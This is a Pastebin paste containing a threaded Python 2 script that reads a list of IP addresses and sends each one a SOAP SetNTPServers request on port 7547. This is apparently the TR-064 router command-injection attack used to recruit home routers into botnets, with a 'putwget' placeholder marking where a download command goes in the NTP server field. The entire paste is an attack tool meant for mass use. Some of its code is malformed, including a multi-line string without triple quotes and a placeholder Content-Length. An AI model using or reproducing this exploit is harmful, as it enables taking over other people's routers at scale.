Advertisement
uzycie

soap

Aug 23rd, 2017
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.99 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import threading, sys, time, random, socket, re, os
  4.  
  5. if len(sys.argv) < 2:
  6. print "Usage: python "+sys.argv[0]+" <list>"
  7. sys.exit()
  8.  
  9. ips = open(sys.argv[1], "r").readlines()
  10. cmd = "POST /UD/act?1 HTTP/1.1\r\n
  11. Host: 127.0.0.1:7547\r\n
  12. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n
  13. SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\n
  14. Content-Type: text/xml\r\n
  15. Content-Length: length of string after return/newline\r\n
  16. <?xml version="1.0"?>\r\n
  17. <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n
  18. <SOAP-ENV:Body>\r\n
  19. <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">\r\n
  20. <NewNTPServer1>putwget</NewNTPServer1>\r\n
  21. <NewNTPServer2></NewNTPServer2>\r\n
  22. <NewNTPServer3></NewNTPServer3>\r\n
  23. <NewNTPServer4></NewNTPServer4>\r\n
  24. <NewNTPServer5></NewNTPServer5>\r\n
  25. </u:SetNTPServers>\r\n
  26. </SOAP-ENV:Body>\r\n
  27. </SOAP-ENV:Envelope>\r\n"
  28. count = 0
  29. def readUntil(tn, string, timeout=15):
  30. buf = ''
  31. start_time = time.time()
  32. while time.time() - start_time < timeout:
  33. buf += tn.recv(1024)
  34. time.sleep(0.01)
  35. if string in buf: return buf
  36. raise Exception('TIMEOUT!')
  37.  
  38. class hackify(threading.Thread):
  39. def __init__ (self, ip):
  40. threading.Thread.__init__(self)
  41. self.ip = str(ip).rstrip('\n')
  42. def run(self):
  43. try:
  44. tn = socket.socket()
  45. tn.settimeout(8)
  46. tn.connect((self.ip,7547))
  47. except Exception:
  48. tn.close()
  49.  
  50. try:
  51. mp = ''
  52. mp += tn.recv(1024)
  53. if "" in mp:
  54. tn.send(cmd + "\n"); print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip); time.sleep(10); tn.close()
  55. except Exception:
  56. print "\033[34m[%s] TIMEOUT"%(self.ip)
  57. tn.close()
  58.  
  59. print "Total IPs: %s\n"%(len(ips))
  60. for ip in ips:
  61. try:
  62. count += 1
  63. t = hackify(ip)
  64. t.start()
  65. time.sleep(0.01)
  66. except:
  67. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement